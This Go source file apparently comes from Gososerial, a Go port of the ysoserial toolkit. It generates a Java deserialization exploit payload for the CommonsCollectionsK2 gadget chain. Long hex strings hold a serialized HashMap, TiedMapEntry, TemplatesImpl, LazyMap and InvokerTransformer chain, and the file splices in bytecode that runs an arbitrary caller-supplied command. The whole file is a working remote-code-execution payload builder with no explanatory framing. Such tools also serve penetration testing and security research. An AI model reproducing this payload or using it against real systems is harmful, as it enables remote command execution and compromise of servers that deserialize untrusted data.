package gadget

import (
	"encoding/hex"
	"github.com/EmYiQing/Gososerial/ysoserial/util"
)

const CCK2 = "CommonsCollectionsK2"

func GetCommonsCollectionsK2(cmd string) []byte {
	globalPrefix := "ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C3166" +
		"0D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000" +
		"000C77080000001000000001737200356F72672E6170616368652E636F6D6D6F6E732E636F6" +
		"C6C656374696F6E73342E6B657976616C75652E546965644D6170456E7472798AADD29B39C1" +
		"1FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617" +
		"074000F4C6A6176612F7574696C2F4D61703B78707372003A636F6D2E73756E2E6F72672E61" +
		"70616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C6" +
		"1746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E" +
		"5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F6" +
		"36C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D657400124C" +
		"6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737" +
		"400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200" +
		"035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000" +
		"07870"
	templateImpl := GetKoalrTemplateImpl(cmd)
	templateImplStr := hex.EncodeToString(templateImpl)
	length := len(templateImpl)
	lenStr := util.Int32ToBytes(uint32(length))
	globalSuffix := "7571007E000E000001D4CAFEBABE00000032001B0A000300150700170700180" +
		"7001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456" +
		"616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000" +
		"F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501" +
		"000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F7365726" +
		"9616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F757263" +
		"6546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F7365726" +
		"9616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C" +
		"616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F797" +
		"36F73657269616C2F7061796C6F6164732F7574696C2F476164676574730021000200030001" +
		"00040001001A000500060001000700000002000800010001000A000B0001000C0000002F000" +
		"10001000000052AB70001B100000002000D0000000600010000002E000E0000000C00010000" +
		"0005000F001200000002001300000002001400110000000A000100020016001000097074000" +
		"450776E7270770100787372002B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C65" +
		"6374696F6E73342E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746" +
		"F727974002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E7334" +
		"2F5472616E73666F726D65723B78707372003B6F72672E6170616368652E636F6D6D6F6E732" +
		"E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F72" +
		"6D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4" +
		"F626A6563743B4C000B694D6574686F644E616D6571007E00095B000B69506172616D547970" +
		"657371007E00087870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F107" +
		"3296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176" +
		"612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00003F4" +
		"000000000000C7708000000100000000078787400017478"
	temp := globalPrefix + lenStr + templateImplStr + globalSuffix
	data, _ := hex.DecodeString(temp)
	return data
}
